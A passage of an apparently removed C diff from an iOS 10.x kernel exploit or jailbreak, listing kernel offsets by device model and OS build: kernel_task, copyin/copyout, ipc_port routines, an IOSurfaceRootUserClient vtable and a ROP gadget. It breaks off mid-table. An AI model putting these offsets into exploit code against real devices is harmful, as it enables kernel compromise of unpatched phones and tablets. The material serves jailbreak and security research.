- OFFSET_ZONE_MAP = 0xfffffff007566360;
- OFFSET_KERNEL_MAP = 0xfffffff0075c2058;
- OFFSET_KERNEL_TASK = 0xfffffff0075c2050;
- OFFSET_REALHOST = 0xfffffff007548a98;
- OFFSET_BZERO = 0xfffffff00708e140;
- OFFSET_BCOPY = 0xfffffff00708df80;
- OFFSET_COPYIN = 0xfffffff00718f76c;
- OFFSET_COPYOUT = 0xfffffff00718f974;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a6200;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b98a0;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5d44;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006ed93e0;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006469fb0;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075c20b8;
- }
-
- }
-
- // iPad Air 2 (WiFi)
- if(!strcmp(device, "iPad5,3"))
- {
- // 10.2.1
- if(!strcmp(osversion, "14D27"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007566360;
- OFFSET_KERNEL_MAP = 0xfffffff0075c2058;
- OFFSET_KERNEL_TASK = 0xfffffff0075c2050;
- OFFSET_REALHOST = 0xfffffff007548a98;
- OFFSET_BZERO = 0xfffffff00708e140;
- OFFSET_BCOPY = 0xfffffff00708df80;
- OFFSET_COPYIN = 0xfffffff00718f864;
- OFFSET_COPYOUT = 0xfffffff00718fa6c;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a6200;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b98a0;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5d44;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006ed93e0;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006471fb0;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075c20b8;
- }
-
- }
-
- // iPad Mini 4 (WiFi)
- if(!strcmp(device, "iPad5,1"))
- {
- // 10.2.1
- if(!strcmp(osversion, "14D27"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007566360;
- OFFSET_KERNEL_MAP = 0xfffffff0075c2058;
- OFFSET_KERNEL_TASK = 0xfffffff0075c2050;
- OFFSET_REALHOST = 0xfffffff007548a98;
- OFFSET_BZERO = 0xfffffff00708e140;
- OFFSET_BCOPY = 0xfffffff00708df80;
- OFFSET_COPYIN = 0xfffffff00718f76c;
- OFFSET_COPYOUT = 0xfffffff00718f974;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a6200;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b98a0;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5d44;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006ed93e0;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006469fb0;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075c20b8;
- }
-
- }
-
- // iPad Mini 3 (China)
- if(!strcmp(device, "iPad4,9"))
- {
- // 10.2.1
- if(!strcmp(osversion, "14D27"))
- {
- OFFSET_ZONE_MAP = 0xfffffff00755a360;
- OFFSET_KERNEL_MAP = 0xfffffff0075b6058;
- OFFSET_KERNEL_TASK = 0xfffffff0075b6050;
- OFFSET_REALHOST = 0xfffffff00753ca98;
- OFFSET_BZERO = 0xfffffff007082140;
- OFFSET_BCOPY = 0xfffffff007081f80;
- OFFSET_COPYIN = 0xfffffff0071835dc;
- OFFSET_COPYOUT = 0xfffffff0071837e4;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff00709a060;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad700;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099ba4;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f32a60;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0064cdfb0;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b60b8;
- }
-
- }
-
- // iPad 5 (Cellular) and iPad 5 (WiFi)
- if(!strcmp(device, "iPad6,12") || !strcmp(device, "iPad6,11"))
- {
- // 10.3.3
- if(!strcmp(osversion, "14G60"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007548478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a4048;
- OFFSET_REALHOST = 0xfffffff00752aba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff0071803a0;
- OFFSET_COPYOUT = 0xfffffff007180594;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099e94;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad16c;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070999b8;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e61cb8;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006426174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a40b0;
- }
- // 10.3.2
- if(!strcmp(osversion, "14F90"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007548478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a4048;
- OFFSET_REALHOST = 0xfffffff00752aba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff0071806f4;
- OFFSET_COPYOUT = 0xfffffff0071808e8;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099e94;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad16c;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070999b8;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e65cb8;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff00642a174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a40b0;
- }
- // 10.3.1
- if(!strcmp(osversion, "14E304"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007548478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a4048;
- OFFSET_REALHOST = 0xfffffff00752aba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff007180720;
- OFFSET_COPYOUT = 0xfffffff007180914;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099efc;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad154;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099a20;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e65cb8;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006429174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a40b0;
- }
- // 10.3
- if(!strcmp(osversion, "14E277"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007548478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a4048;
- OFFSET_REALHOST = 0xfffffff00752aba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff007180720;
- OFFSET_COPYOUT = 0xfffffff007180914;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099efc;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad154;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099a20;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e65cb8;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006429174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a40b0;
- }
- }
-
- // iPad Pro 9.7-inch (WiFi) and iPad Pro 9.7-inch (Cellular)
- if(!strcmp(device, "iPad6,3") || !strcmp(device, "iPad6,4"))
- {
- // 10.3.3
- if(!strcmp(osversion, "14G60"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007548478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a4048;
- OFFSET_REALHOST = 0xfffffff00752aba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff0071803a0;
- OFFSET_COPYOUT = 0xfffffff007180594;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099e94;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad16c;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070999b8;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e3d738;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff00633e0c8;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a40b0;
- }
- // 10.3.2
- if(!strcmp(osversion, "14F89"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007548478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a4048;
- OFFSET_REALHOST = 0xfffffff00752aba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff0071806f4;
- OFFSET_COPYOUT = 0xfffffff0071808e8;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099e94;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad16c;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070999b8;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e3d738;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0063420c8;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a40b0;
- }
- // 10.3.1
- if(!strcmp(osversion, "14E304"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007548478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a4048;
- OFFSET_REALHOST = 0xfffffff00752aba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff007180720;
- OFFSET_COPYOUT = 0xfffffff007180914;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099efc;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad154;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099a20;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e3d738;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0063410c8;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a40b0;
- }
- // 10.3
- if(!strcmp(osversion, "14E277"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007548478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a4048;
- OFFSET_REALHOST = 0xfffffff00752aba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff007180720;
- OFFSET_COPYOUT = 0xfffffff007180914;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099efc;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad154;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099a20;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e3d738;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0063410c8;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a40b0;
- }
- }
-
- // iPad Pro 9.7-inch (WiFi)
- if(!strcmp(device, "iPad6,3"))
- {
- // 10.2.1
- if(!strcmp(osversion, "14D27"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007556360;
- OFFSET_KERNEL_MAP = 0xfffffff0075b2058;
- OFFSET_KERNEL_TASK = 0xfffffff0075b2050;
- OFFSET_REALHOST = 0xfffffff007538a98;
- OFFSET_BZERO = 0xfffffff007082140;
- OFFSET_BCOPY = 0xfffffff007081f80;
- OFFSET_COPYIN = 0xfffffff007182af0;
- OFFSET_COPYOUT = 0xfffffff007182cf8;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099fe0;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad680;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099b24;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e4d5e0;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006376140;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b20b8;
- }
- }
-
- // iPad Pro 9.7-inch (Cellular)
- if(!strcmp(device, "iPad6,4"))
- {
- // 10.2.1
- if(!strcmp(osversion, "14D27"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007556360;
- OFFSET_KERNEL_MAP = 0xfffffff0075b2058;
- OFFSET_KERNEL_TASK = 0xfffffff0075b2050;
- OFFSET_REALHOST = 0xfffffff007538a98;
- OFFSET_BZERO = 0xfffffff007082140;
- OFFSET_BCOPY = 0xfffffff007081f80;
- OFFSET_COPYIN = 0xfffffff007182af0;
- OFFSET_COPYOUT = 0xfffffff007182cf8;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099fe0;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad680;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099b24;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e4d5e0;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006376140;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b20b8;
- }
-
- }
-
- // iPad Pro 12.9-inch (Cellular) and iPad Pro 12.9-inch (WiFi)
- if(!strcmp(device, "iPad6,8") || !strcmp(device, "iPad6,7"))
- {
- // 10.3.3
- if(!strcmp(osversion, "14G60"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007548478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a4048;
- OFFSET_REALHOST = 0xfffffff00752aba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff0071803a0;
- OFFSET_COPYOUT = 0xfffffff007180594;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099e94;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad16c;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070999b8;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e49738;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff00637e0c8;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a40b0;
- }
- // 10.3.2
- if(!strcmp(osversion, "14F89"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007548478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a4048;
- OFFSET_REALHOST = 0xfffffff00752aba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff0071806f4;
- OFFSET_COPYOUT = 0xfffffff0071808e8;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099e94;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad16c;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070999b8;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e49738;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff00637e0c8;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a40b0;
- }
- // 10.3.1
- if(!strcmp(osversion, "14E304"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007548478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a4048;
- OFFSET_REALHOST = 0xfffffff00752aba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff007180720;
- OFFSET_COPYOUT = 0xfffffff007180914;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099efc;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad154;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099a20;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e49738;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff00637d0c8;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a40b0;
- }
- // 10.3
- if(!strcmp(osversion, "14E277"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007548478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a4048;
- OFFSET_REALHOST = 0xfffffff00752aba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff007180720;
- OFFSET_COPYOUT = 0xfffffff007180914;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099efc;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad154;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099a20;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e49738;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff00637d0c8;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a40b0;
- }
- }
-
- // iPad Pro 12.9-inch (Cellular)
- if(!strcmp(device, "iPad6,8"))
- {
- // 10.2.1
- if(!strcmp(osversion, "14D27"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007556360;
- OFFSET_KERNEL_MAP = 0xfffffff0075b2058;
- OFFSET_KERNEL_TASK = 0xfffffff0075b2050;
- OFFSET_REALHOST = 0xfffffff007538a98;
- OFFSET_BZERO = 0xfffffff007082140;
- OFFSET_BCOPY = 0xfffffff007081f80;
- OFFSET_COPYIN = 0xfffffff007182af0;
- OFFSET_COPYOUT = 0xfffffff007182cf8;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099fe0;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad680;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099b24;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e595e0;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0063aa140;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b20b8;
- }
-
- }
-
- // iPad Pro 12.9-inch (WiFi)
- if(!strcmp(device, "iPad6,7"))
- {
- // 10.2.1
- if(!strcmp(osversion, "14D27"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007556360;
- OFFSET_KERNEL_MAP = 0xfffffff0075b2058;
- OFFSET_KERNEL_TASK = 0xfffffff0075b2050;
- OFFSET_REALHOST = 0xfffffff007538a98;
- OFFSET_BZERO = 0xfffffff007082140;
- OFFSET_BCOPY = 0xfffffff007081f80;
- OFFSET_COPYIN = 0xfffffff007182af0;
- OFFSET_COPYOUT = 0xfffffff007182cf8;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099fe0;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad680;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099b24;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e595e0;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0063aa140;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b20b8;
- }
-
- }
-
- // iPad Pro 2 (12.9-inch, WiFi) and iPad Pro 2 (12.9-inch, Cellular)
- if(!strcmp(device, "iPad7,1") || !strcmp(device, "iPad7,2"))
- {
- // 10.3.3
- if(!strcmp(osversion, "14G60"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007590478;
- OFFSET_KERNEL_MAP = 0xfffffff0075ec050;
- OFFSET_KERNEL_TASK = 0xfffffff0075ec048;
- OFFSET_REALHOST = 0xfffffff007572ba0;
- OFFSET_BZERO = 0xfffffff0070c1f80;
- OFFSET_BCOPY = 0xfffffff0070c1dc0;
- OFFSET_COPYIN = 0xfffffff0071c5ecc;
- OFFSET_COPYOUT = 0xfffffff0071c61ac;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070df014;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070f22ec;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070deb38;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006ec1578;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff00632e0c8;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075ec0b0;
- }
- // 10.3.2
- if(!strcmp(osversion, "14F8089"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007590478;
- OFFSET_KERNEL_MAP = 0xfffffff0075ec050;
- OFFSET_KERNEL_TASK = 0xfffffff0075ec048;
- OFFSET_REALHOST = 0xfffffff007572ba0;
- OFFSET_BZERO = 0xfffffff0070c1f80;
- OFFSET_BCOPY = 0xfffffff0070c1dc0;
- OFFSET_COPYIN = 0xfffffff0071c6220;
- OFFSET_COPYOUT = 0xfffffff0071c6500;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070df014;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070f22ec;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070deb38;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006ec1578;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff00632e0c8;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075ec0b0;
- }
- }
-
-
- // iPhone SE
- if(!strcmp(device, "iPhone8,4"))
- {
- // 10.3.3
- if(!strcmp(osversion, "14G60"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007548478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a4048;
- OFFSET_REALHOST = 0xfffffff00752aba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff0071803a0;
- OFFSET_COPYOUT = 0xfffffff007180594;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099e94;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad16c;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070999b8;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e849f8;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006482174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a40b0;
- }
- // 10.3.2
- if(!strcmp(osversion, "14F89"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007548478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a4048;
- OFFSET_REALHOST = 0xfffffff00752aba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff0071806f4;
- OFFSET_COPYOUT = 0xfffffff0071808e8;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099e94;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad16c;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070999b8;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e849f8;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006482174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a40b0;
- }
- // 10.3.1
- if(!strcmp(osversion, "14E304"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007548478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a4048;
- OFFSET_REALHOST = 0xfffffff00752aba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff007180720;
- OFFSET_COPYOUT = 0xfffffff007180914;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099efc;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad154;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099a20;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e849f8;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006481174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a40b0;
- }
- // 10.3
- if(!strcmp(osversion, "14E277"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007548478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a4048;
- OFFSET_REALHOST = 0xfffffff00752aba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff007180720;
- OFFSET_COPYOUT = 0xfffffff007180914;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099efc;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad154;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099a20;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e849f8;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006481174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a40b0;
- }
- // 10.2.1
- if(!strcmp(osversion, "14D27"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007556360;
- OFFSET_KERNEL_MAP = 0xfffffff0075b2058;
- OFFSET_KERNEL_TASK = 0xfffffff0075b2050;
- OFFSET_REALHOST = 0xfffffff007538a98;
- OFFSET_BZERO = 0xfffffff007082140;
- OFFSET_BCOPY = 0xfffffff007081f80;
- OFFSET_COPYIN = 0xfffffff007182af0;
- OFFSET_COPYOUT = 0xfffffff007182cf8;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099fe0;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad680;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099b24;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e8c820;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff00649dfb0;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b20b8;
- }
- }
-
- // iPhone 5s (Global) and iPhone 5s (GSM)
- if(!strcmp(device, "iPhone6,2") || !strcmp(device, "iPhone6,1"))
- {
- // 10.3.3
- if(!strcmp(osversion, "14G60"))
- {
- OFFSET_ZONE_MAP = 0xfffffff00754c478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a8050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a8048;
- OFFSET_REALHOST = 0xfffffff00752eba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff007180e98;
- OFFSET_COPYOUT = 0xfffffff00718108c;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099f14;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad1ec;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099a38;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f25538;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006522174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a80b0;
- }
- // 10.3.2
- if(!strcmp(osversion, "14F89"))
- {
- OFFSET_ZONE_MAP = 0xfffffff00754c478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a8050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a8048;
- OFFSET_REALHOST = 0xfffffff00752eba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff0071811ec;
